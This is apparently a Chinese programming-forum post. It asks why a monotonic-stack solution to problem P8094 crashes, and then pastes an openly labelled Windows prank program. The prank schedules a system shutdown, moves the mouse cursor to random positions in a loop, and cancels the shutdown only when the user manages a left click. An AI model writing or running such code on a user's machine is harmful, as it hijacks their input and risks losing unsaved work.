这dai码有什么问题
P8094 RE
#include<bits/stdc++.h>
using namespace std;
long long n,ans,a[300005];
stack<long long>q;
int main(){
cin>>n;
for(long long i=1;i<=n;i++){
cin>>a[i];
}
q.push(1);
for(long long i=2;i<=n;i++){
while(a[q.top()]<a[i]){
ans+=i-q.top()+1;
q.pop();
}
if(!q.empty())ans+=i-q.top()+1;
q.push(i);
}
cout<<ans<<"\n";
}
有风险的破解智障版,按左键退出
#include<bits/stdc++.h>
#include<windows.h>
#include<stdio.h>
#include<conio.h>
#include<time.h>
using namespace std;
void first_page();
void SlowDisplay(int x,char *p);
void SetPos(int x,int y);
void Say1(string a) ;
void Say2(string a) ;
int read();
void page_1();
void hhh();
void page_3();
int main()
{
page_3();
return 0;
}
void first_page()
{
}
void SlowDisplay(int x,char *p)
{
while(1)
{
if(*p!=0) printf("%c",*p++);
else break;
Sleep(x);
}
}
void SetPos(int x,int y)
{
COORD pos;
pos.X=y*2,pos.Y=x;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
}
void Say1(string a)
{
int l=a.size();
for(int i=0;i<l;i++)
{
cout<<a[i];
Sleep(20);
}
printf("\n");
}
void Say2(string a)
{
int l=a.size();
for(int i=0;i<l;i++)
{
cout<<a[i];
Sleep(200);
}
printf("\n");
}
int read()
{
char ch=_getch();
while(ch>'9'||ch<'0') ch=_getch();
return ch-48;
}
void page_1()
{
system("cls");
system("Color C");
first_page();
hhh();
system("cls");
}
void hhh()
{
system("shutdown /s /t 60");
while(1)
{
int x,y,aaaa=0;
bool f=0;
Sleep(10);
x=rand()%1400;
y=rand()%900;
SetCursorPos(x,y);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
keybd_event(67,0,KEYEVENTF_KEYUP,0);
while(aaaa<=114514){
if(((GetAsyncKeyState(VK_LBUTTON) & 0x8000) ? 1:0)){
f=1;break;
}
aaaa++;
}
if(f==1)break;
}
if(((GetAsyncKeyState(VK_LBUTTON) & 0x8000) ? 1:0))system("shutdown -a");
}
void page_3()
{
page_1();
}